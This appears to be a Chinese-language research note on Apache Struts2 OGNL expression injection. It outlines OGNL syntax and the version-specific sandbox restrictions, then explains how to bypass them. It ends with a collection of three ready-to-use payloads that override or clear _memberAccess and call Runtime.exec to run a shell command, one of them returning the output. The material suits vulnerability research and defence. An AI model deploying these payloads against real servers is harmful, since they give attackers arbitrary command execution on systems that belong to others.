OGNL 表达式
- 常量:
- 字符串:“ hello ”
- 字符:‘ h ’
- 数字:除了 java 的内置类型
int
,long
,float
和double
,Ognl
。还有如例:- 10.01B,相当于
java.math.BigDecimal
,使用’ b ’或者’ B ’后缀。 - 100000H,相当于
java.math.BigInteger
,使用’ h ’ 或 ’ H ’ 后缀
- 10.01B,相当于
- 属性的引用 例如:
user.name
- 变量的引用 例如:
#name
- 静态变量的访问 使用
@class@field
- 静态方法的调用 使用
@class@method(args)
, 如果没有指定 class 那么默认就使用java.lang.Math.
- 构造函数的调用 例如:
new java.util.ArrayList()
;
其它的 Ognl 的表达式可以参考 Ognl 的语言手册。
0x01 限制点
访问权限控制在于
_memberAccess
- 低版本为
DefaultMemberAcces
- 高版本为
SecurityMemberAccess
继承上者,并在excludedxxxx
中对敏感类进行限制
- 低版本为
关键字都存在RESERVED_KEYS中
- v2.3.30-v2.5.10 在
RESERVED_KEYS
中未添加_memberAccess
,导致后者不能直接覆盖
- v2.3.30-v2.5.10 在
关键字
context
- v2.3.34删除此关键字,导致不能直接获取
context
- v2.3.34删除此关键字,导致不能直接获取
0x02 Bypass
将
com.opensymphony.xwork2.ognl.SecurityMemberAccess
覆盖为ognl.DefaultMemberAccess
适用 2.3.20~2.3.29
_memberAccess
不在RESERVED_KEYS
中,不能直接覆盖,上述payload会将#_memberAccess
当做普通变量存进_value
中。OgnlUtil.createDefaultContext会赋值_memberAccess属性
OgnlUtil.getExcludedxxxx()可以获得私有属性
通过com.opensymphony.xwork2.inject.ContainerImpl.getInstance可将context中的变量实例化
ContainerImpl通过注入实现container
攻击链:
#context
获取container
->调用getInstance->实例化OgnlUtil
->清空excludedxxx(这步经测试可选,是我版本问题?)->设置_memberAccess
->攻击payload
context被删除
ognl信息其实都是存储在值栈中,找到调用值栈的地方,寻找相同的引用地址即可
- 可以从
request['struts.valueStack']
中获取com.opensymphony.xwork2.ognl.OgnlValueStack.context
- 可以从
Payload 集合
需要回显就加IO,$
还是%
开头均可
_memberAccess覆盖
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd=@java.lang.Runtime@getRuntime().exec("id"))}
_memberAccess清空覆盖
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@java.lang.Runtime@getRuntime().exec('id'))}
context删除
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream())}